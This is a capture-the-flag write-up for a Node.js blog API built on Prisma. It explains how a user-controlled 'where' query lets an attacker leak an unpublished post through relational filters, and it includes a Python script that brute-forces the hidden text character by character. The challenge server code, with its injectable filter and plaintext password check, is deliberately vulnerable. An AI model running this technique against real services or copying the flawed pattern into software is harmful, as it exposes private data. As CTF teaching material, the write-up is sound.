Prismatic Blogs
Here are API endpoints for a blog website.
We have a Node.js application that uses the Prisma ORM for SQLite:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import express from "express";
import { PrismaClient } from "@prisma/client";
const app = express();
app.use(express.json())
const prisma = new PrismaClient();
const PORT = 3000;
app.get(
"/api/posts",
async (req, res) => {
try {
let query = req.query;
query.published = true;
console.log(query);
let posts = await prisma.post.findMany({where: query});
res.json({success: true, posts})
} catch (error) {
res.json({ success: false, error });
}
}
);
app.post(
"/api/login",
async (req, res) => {
try {
let {name, password} = req.body;
let user = await prisma.user.findUnique({where:{
name: name
},
include:{
posts: true
}
});
if (user.password === password) {
res.json({success: true, posts: user.posts});
}
else {
res.json({success: false});
}
} catch (error) {
res.json({success: false, error});
}
}
)
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
The flag is in a non-published
post, but we can only retrieve published
ones.
We notice that the where
field in the findMany
call is user-controlled. Prisma uses this object to filter the data it returns. There are many subfields available in the where
field, including stuff related to table relations. Let’s take a look at the schema:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
datasource db {
provider = "sqlite"
url = "file:./database.db"
}
generator client {
provider = "prisma-client-js"
}
model User {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
name String @unique
password String
posts Post[]
}
model Post {
id Int @id @default(autoincrement())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
published Boolean @default(false)
title String
body String
author User @relation(fields: [authorId], references: [id])
authorId Int
}
Each author has many posts. Instead of filtering by Post
columns, we can join the User
table and use the columns from there.
Prisma has a nice documentation.
Since we cannot overwrite the published
property, we need to find another route. We can think it like this: find the posts whose author has published posts whose body starts with a string. This filter will be joined with the published: true
filter, so we won’t get the post back in the request. But we can bruteforce the post one letter at a time with the startsWith
filter. If we got any post in the response, it means that the filter passed and we found a letter. At each iteration, we include the letters we found and bruteforce the next one, and so on.
One more thing: the route uses the GET
verb, so we can’t pass the JSON directly. However, express
uses body-parser
, which uses qs
, which has an interesting behavior. We can nest fields and create objects using the syntax ?a[b][c]=d
, which will be converted to { "a": { "b": { "c": "d" } } }
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string
url = "http://localhost:3000"
url = "http://35.239.207.1:3000"
alphabet = string.ascii_lowercase + string.digits + "!#$&,@~}-_"
found = "This is a secret blog I am still working on. The secret keyword for this blog is uoftctf{"
while True:
for letter in alphabet:
response = requests.get(f"{url}/api/posts", params={
"author[is][posts][some][body][startsWith]": found + letter
})
if len(response.json()["posts"]) > 0:
if letter == "}":
exit()
found += letter
print(found)
break
else:
print("???")
break